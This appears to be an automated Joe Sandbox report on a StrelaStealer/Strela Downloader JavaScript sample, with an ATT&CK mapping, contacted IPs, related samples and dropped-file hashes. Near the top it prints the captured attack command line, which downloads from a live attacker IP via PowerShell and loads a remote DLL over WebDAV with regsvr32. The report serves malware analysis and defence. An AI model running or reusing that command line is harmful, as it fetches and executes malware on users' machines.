Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\215721317627661.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
42384357676028189.js	7%	Virustotal		Browse
42384357676028189.js	8%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label
http://193.143.1.205:8888/W	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/J	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/b	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 00000009.00000003.2192700843.000002256E370000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	false		high
http://193.143.1.205:8888/J	net.exe, 00000007.00000002.2191762082.000001FC16184000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://crl.ver)	svchost.exe, 00000009.00000002.3427800212.000002256E400000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/Prod1C:	qmgr.db.9.dr	false		high
http://193.143.1.205:8888/W	net.exe, 00000007.00000002.2191762082.000001FC16148000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 00000007.00000002.2191762082.000001FC16171000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2191762082.000001FC16184000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2192175910.000001FC161DD000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2191762082.000001FC16148000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/b	net.exe, 00000007.00000002.2191762082.000001FC16184000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/n	net.exe, 00000007.00000002.2191762082.000001FC16184000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588689
Start date and time:	2025-01-11 04:13:37 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 55s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	17
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	42384357676028189.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/59@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 172.64.41.3, 162.159.61.3, 2.23.242.162, 23.209.209.135, 52.6.155.20, 52.22.41.97, 3.219.243.226, 3.233.129.217, 199.232.210.172, 2.16.168.105, 2.16.168.107, 2.22.242.123, 2.22.242.11, 13.107.246.45, 54.224.241.105, 52.149.20.212, 23.56.162.204
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, client.wns.windows.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
22:14:30	API Interceptor	20x Sleep call for process: powershell.exe modified
22:14:34	API Interceptor	1x Sleep call for process: net.exe modified
22:14:34	API Interceptor	2x Sleep call for process: svchost.exe modified
22:14:41	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	696568221068916474.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1528152952987120978.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	24667857242018421.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	13211101981378323787.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	18203107951121827015.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2300831576502014589.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2148023713578731850.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	5433178601194710641.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	200475024256003612.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	31068282522384212209.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	696568221068916474.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	18203107951121827015.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	200475024256003612.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	31068282522384212209.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	22951172482589918451.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	12524190021110725310.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	2151829461519612017.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1637664207127019.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	270423757158192531.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	2624560062728623951.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	3236235451745230764.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	696568221068916474.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1528152952987120978.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	24667857242018421.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2812430594697516427.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	22388142366532662.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	13211101981378323787.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	18203107951121827015.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1460324287242413198.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2300831576502014589.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7263292371922626
Encrypted:	false
SSDEEP:	1536:9J8s6YR3pnhWKInznxTgScwXhCeEcrKYSZNmTHk4UQJ32aqGT46yAwFM5hA7yH0o:9JZj5MiKNnNhoxuZ
MD5:	40AF0289808DED1102A78F4273806590
SHA1:	128E7A9169BCB090D19D875C318574E0CE956C63
SHA-256:	B12121869A2623CA86B94F9E661CA3924A0E494A2A078BAB2642A3328F50E509
SHA-512:	7ADBEE75FDE6474F1CAA47FB596827479DFF88277ECB78D93477141885524CEB0CDAF8CB79AA803ED37ECEE521D159FEFD175BC17964CA56E164512150C3A161
Malicious:	false
Preview:	...........@..@9....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@....................................Fajaj.#.........`h.................h.......6.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage user DataBase, version 0x620, checksum 0x1abf00d8, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7555876425094804
Encrypted:	false
SSDEEP:	1536:9SB2ESB2SSjlK/svFH03N9Jdt8lYkr3g16xj2UPkLk+kLWyrufTRryrUYc//kbxW:9azaSvGJzYj2UlmOlOL
MD5:	8D947937E70F0B9FDABC1F69BCD9F3AB
SHA1:	BFABCECEFF85BBA156FE756626B1C511B0F3EB26
SHA-256:	0BAC8745A7E31EE6F606519D5287471EFE4403D6F28F64E12F07B3708ACACE1F
SHA-512:	73A0F0CC23D559E941F2BA6AA0167A8C52FD68C49567C4C09D640E8EE0FA0CF06B40E6187EF3E2994D37F412A79F98E7641626C58D0EF0D0F5B0571F539B3E22
Malicious:	false
Preview:	....... .......7.......X\...;...{......................0.e......!...{?."....}G.h.g.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......9....{...............................................................................................................................................................................................2...{.....................................c"....}G...................."....}G..........................#......h.g.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08003911600199429
Encrypted:	false
SSDEEP:	3:Cll8Yew9SEENaAPaU1lFddAlYlluxmO+l/SNxOf:S8zw3ENDPaUPvgmOH
MD5:	3BE4652307B511C3FB6AEBF62B26F57F
SHA1:	57D7A139650DCFD2ED9C23936138BA9B25236604
SHA-256:	04BFC6B4C0FB550CA0F158D27DAB2978538E504FA60926326714EE847D29292F
SHA-512:	71BF37E8ECC5CCC2B4344FEB27883586420E9A3D503A6708EEE6C0E2E706BA2AA1392DD1D07A5981E9C9456F560E73C9FA966CFBA6BCA48A0C3E47014B2104E6
Malicious:	false
Preview:	.C.$.....................................;...{.."....}G..!...{?..........!...{?..!...{?..g...!...{?...................."....}G.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.202181538970687
Encrypted:	false
SSDEEP:	6:iO4qX2M+q2PN72nKuAl9OmbnIFUtSqXPZZmwsqXPMMVkwON72nKuAl9OmbjLJ:7AM+vVaHAahFUtLZ/1MMV5OaHAaSJ
MD5:	90837567F38253DBCE856E17F2B49962
SHA1:	01045D26BD60DFE30BD3542FAEEEE939148E8486
SHA-256:	E04DE3A9152ACDAC8BE1E6460595165E4F1AC86A116B0A4EC51A46024F5A277C
SHA-512:	FE4DF09A67F794DB70C33518C4ADEA052D8E5BEB53B2A01365730C129D3AC5EC36DE631B128527C2A39C0FB9CEA8456D534922085EE5717DCA60C7258A535F6C
Malicious:	false
Preview:	2025/01/10-22:14:34.377 b6c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-22:14:34.380 b6c Recovering log #3.2025/01/10-22:14:34.380 b6c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.202181538970687
Encrypted:	false
SSDEEP:	6:iO4qX2M+q2PN72nKuAl9OmbnIFUtSqXPZZmwsqXPMMVkwON72nKuAl9OmbjLJ:7AM+vVaHAahFUtLZ/1MMV5OaHAaSJ
MD5:	90837567F38253DBCE856E17F2B49962
SHA1:	01045D26BD60DFE30BD3542FAEEEE939148E8486
SHA-256:	E04DE3A9152ACDAC8BE1E6460595165E4F1AC86A116B0A4EC51A46024F5A277C
SHA-512:	FE4DF09A67F794DB70C33518C4ADEA052D8E5BEB53B2A01365730C129D3AC5EC36DE631B128527C2A39C0FB9CEA8456D534922085EE5717DCA60C7258A535F6C
Malicious:	false
Preview:	2025/01/10-22:14:34.377 b6c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-22:14:34.380 b6c Recovering log #3.2025/01/10-22:14:34.380 b6c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.179017647671775
Encrypted:	false
SSDEEP:	6:iO4qXsDqM+q2PN72nKuAl9Ombzo2jMGIFUtSqXUZmwsqXugqMVkwON72nKuAl9OU:70qM+vVaHAa8uFUt4/kMV5OaHAa8RJ
MD5:	1E23F5C1116A2B243F339DE699415667
SHA1:	23DEEDEFBD0DC3FE3194DAE790446B3AD5FD2C38
SHA-256:	ADCE217116019BF03598D0B873634797DA15B8C5E0B89DCCA28CF34F89D12429
SHA-512:	ABA14ADAF74B86C487408B0962FC53D8BA8DD168AB937FB3FF647BDDD29BEEADD1CCAA20FCC9C58DB550862F7A277F74C011B99E97E58DDEB4A65CCC97286661
Malicious:	false
Preview:	2025/01/10-22:14:34.549 176c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-22:14:34.550 176c Recovering log #3.2025/01/10-22:14:34.551 176c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.179017647671775
Encrypted:	false
SSDEEP:	6:iO4qXsDqM+q2PN72nKuAl9Ombzo2jMGIFUtSqXUZmwsqXugqMVkwON72nKuAl9OU:70qM+vVaHAa8uFUt4/kMV5OaHAa8RJ
MD5:	1E23F5C1116A2B243F339DE699415667
SHA1:	23DEEDEFBD0DC3FE3194DAE790446B3AD5FD2C38
SHA-256:	ADCE217116019BF03598D0B873634797DA15B8C5E0B89DCCA28CF34F89D12429
SHA-512:	ABA14ADAF74B86C487408B0962FC53D8BA8DD168AB937FB3FF647BDDD29BEEADD1CCAA20FCC9C58DB550862F7A277F74C011B99E97E58DDEB4A65CCC97286661
Malicious:	false
Preview:	2025/01/10-22:14:34.549 176c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-22:14:34.550 176c Recovering log #3.2025/01/10-22:14:34.551 176c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\834b73ce-67f0-4f8f-9d55-0396650a58cc.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.94820508845713
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqjNpVSsBdOg2H9cZcaq3QYiubcP7E4TX:Y2sRdsaXdMHeg3QYhbA7n7
MD5:	214A13394D92A1F2AA07AF72577E60C9
SHA1:	3521BDFC70258AEB6CEF84A656A79DA372629561
SHA-256:	DC25FE695ACC5FBE89C5984B68EDDDFC6D66589E6731AAEB5B1ADA07FA2A768F
SHA-512:	FB9EB4E1CCFC8052D44EF014F5019C679A316A5C0E81F50C026081B166D070B2566D559FDC38B1DD270701EB2657F45B91BAF11ED635A20D487EF11DEF560EC8
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381125286138011","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":143352},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\8b370fab-3bdb-4cde-ab96-602a273db891.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.971824627296864
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq1ZhsBdOg2HIJnAcaq3QYiubcP7E4TX:Y2sRdswydMH0r3QYhbA7n7
MD5:	F326539D084B03D88254A74D6018F692
SHA1:	395B367E0E3554C3E78A8211F2D4B9F0F427CA87
SHA-256:	9379694CADD7846403E1B6975502326FBC619E0E3A873BBB7BC2C03EE3623007
SHA-512:	C8B5B1DD28605D3FCD9EF4A28BE1125137E6B3CB967F59CB2113656C8EFFFB3842115962DF8B25E9C3FA504F5E1B0A116D780326B1AB8062DC6AC0D80E7C3539
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341048370594526","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":151499},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.971824627296864
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq1ZhsBdOg2HIJnAcaq3QYiubcP7E4TX:Y2sRdswydMH0r3QYhbA7n7
MD5:	F326539D084B03D88254A74D6018F692
SHA1:	395B367E0E3554C3E78A8211F2D4B9F0F427CA87
SHA-256:	9379694CADD7846403E1B6975502326FBC619E0E3A873BBB7BC2C03EE3623007
SHA-512:	C8B5B1DD28605D3FCD9EF4A28BE1125137E6B3CB967F59CB2113656C8EFFFB3842115962DF8B25E9C3FA504F5E1B0A116D780326B1AB8062DC6AC0D80E7C3539
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341048370594526","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":151499},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF703315.TMP (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.971824627296864
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq1ZhsBdOg2HIJnAcaq3QYiubcP7E4TX:Y2sRdswydMH0r3QYhbA7n7
MD5:	F326539D084B03D88254A74D6018F692
SHA1:	395B367E0E3554C3E78A8211F2D4B9F0F427CA87
SHA-256:	9379694CADD7846403E1B6975502326FBC619E0E3A873BBB7BC2C03EE3623007
SHA-512:	C8B5B1DD28605D3FCD9EF4A28BE1125137E6B3CB967F59CB2113656C8EFFFB3842115962DF8B25E9C3FA504F5E1B0A116D780326B1AB8062DC6AC0D80E7C3539
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341048370594526","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":151499},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	5449
Entropy (8bit):	5.249982434598306
Encrypted:	false
SSDEEP:	96:av+Nkkl+2GAouz3z3xfNLUS3vHp5OuDzUrMzh28qXAXFP74LRXOtW7ANwE7lZYVb:av+Nkkl+2G1uz3zhfZUyPp5OuDzUwzhm
MD5:	05174E6260863B7BC8FE92799681502F
SHA1:	8246C9176CDBEBD6CA942AFA54F908C73101F378
SHA-256:	A0004A52DA717CDB32D4B5E5DE3D2E15D53ECB78F78162C3E9A4387CDD5AD70F
SHA-512:	CA913F89890E2894E6067B79CC26F561A3E5C9527AF2ABF9B38287EFFF9D7D20C1E6EB238F7F541D44C8C565ED6EBDAAD8EAA3CB09B0D227FB9F19B15525C89C
Malicious:	false
Preview:	*...#................version.1..namespace-.X.Bo................next-map-id.1.Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/.0.>j.r................next-map-id.2.Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/.1.J.4r................next-map-id.3.Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/.2..J.o................next-map-id.4.Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.3..M.^...............Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/..d.^...............Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.u..a...............Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/..`aa...............Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/`v.Yo................next-map-id.5.Pnamespace-30587558_ed88_4bd8_adc0_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.19875862476287
Encrypted:	false
SSDEEP:	6:iO4qXUFUgpM+q2PN72nKuAl9OmbzNMxIFUtSqXCjZmwsqXSugpMVkwON72nKuAlG:7SHM+vVaHAa8jFUtE/hgpMV5OaHAa84J
MD5:	331F61C637266E990F4D5691422B8067
SHA1:	1B3A6A7FCCD6A07E83516BDDAC8A6512EE7DC921
SHA-256:	48FA16D6AE1386C2A970FA78268C5E918AE6C40452A397C89E14EBE4F9415439
SHA-512:	4F9A38AAE115EBA76953E36B0C869D372D10857454D943B6D30EB4BE4BDFF48446D45FBEE165DCE8078A62A1E0C2A5E35AA4211821BE7F4D85BFD4CAAFDACE7F
Malicious:	false
Preview:	2025/01/10-22:14:34.764 176c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-22:14:34.781 176c Recovering log #3.2025/01/10-22:14:34.788 176c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.19875862476287
Encrypted:	false
SSDEEP:	6:iO4qXUFUgpM+q2PN72nKuAl9OmbzNMxIFUtSqXCjZmwsqXSugpMVkwON72nKuAlG:7SHM+vVaHAa8jFUtE/hgpMV5OaHAa84J
MD5:	331F61C637266E990F4D5691422B8067
SHA1:	1B3A6A7FCCD6A07E83516BDDAC8A6512EE7DC921
SHA-256:	48FA16D6AE1386C2A970FA78268C5E918AE6C40452A397C89E14EBE4F9415439
SHA-512:	4F9A38AAE115EBA76953E36B0C869D372D10857454D943B6D30EB4BE4BDFF48446D45FBEE165DCE8078A62A1E0C2A5E35AA4211821BE7F4D85BFD4CAAFDACE7F
Malicious:	false
